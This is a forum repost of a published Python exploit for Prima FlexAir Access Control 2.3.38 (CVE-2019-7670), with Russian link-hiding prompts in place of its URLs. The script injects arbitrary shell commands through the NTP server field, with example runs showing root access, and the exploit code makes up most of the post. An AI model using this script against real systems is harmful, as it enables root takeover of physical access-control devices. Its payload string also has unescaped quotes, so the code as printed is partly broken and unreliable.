Интересно Prima FlexAir Access Control 2.3.38 - Remote Code Execution

[GhosTM@n]

# Exploit Title: Prima FlexAir Access Control 2.3.38 - Remote Code Execution
# Google Dork: NA
# Date: 2018-09-06
# Exploit Author: LiquidWorm
# Vendor Homepage:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

# Software Link:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

# Version: 2.3.38
# Tested on: NA
# CVE : CVE-2019-7670

#!/usr/bin/env python
#
# Authenticated Remote Root Exploit for Prima FlexAir Access Control 2.3.38
# via Command Injection in SetNTPServer request, Server parameter.
#
# CVE: CVE-2019-7670
# Advisory:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

# Paper:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

#
# By Gjoko 'LiquidWorm' Krstic
#
# 18.01.2019
#
################################################## ##########################
#
# $ python ntpcmdinj.py
# [+] Usage: python ntpcmdinj.py [Target] [Session-ID] [Command]
# [+] Example: python ntpcmdinj.py

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

10167847 whoami
#
# $ python ntpcmdinj.py

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

11339284 "uname -a"
# Linux Alpha 4.4.16 #1 Mon Aug 29 13:29:40 CEST 2016 armv7l GNU/Linux
#
# $ python ntpcmdinj.py

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

11339284 id
# uid=0(root) gid=0(root) groups=0(root),10(wheel)
#
################################################## ##########################
#

import requests
import sys#####

if len(sys.argv) < 4:
print '[+] Usage: python ntpcmdinj.py [Target] [Session-ID] [Command]'
print '[+] Example: python ntpcmdinj.py

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

10167847 whoami\n'
sys.exit()

host = sys.argv[1]
sessionid = sys.argv[2]
commando = sys.argv[3]

url = host+"/bin/sysfcgi.fx"

headers = {"Session-ID" : sessionid, # Muy importante!
"User-Agent" : "Dj/Ole",
"Content-Type" : "application/x-www-form-urlencoded; charset=UTF-8",
"Accept" : "text/html, */*; q=0.01",
"Session-Pc" : "2",
"X-Requested-With" : "XMLHttpRequest",
"Accept-Encoding" : "gzip, deflate",
"Accept-Language" : "en-US,en;q=0.9"}

payload = ("<requests><request name="SetNTPServer">"
"<param name="Server" value="2.europe.p"
"ool.ntp.org;"+commando+">/www/pages/ap"
"p/images/logos/stage.txt|"/></request></"
"requests>")

requests.post(url, headers=headers, data=payload)

e = requests.get(host+"/app/images/logos/stage.txt")
print e.text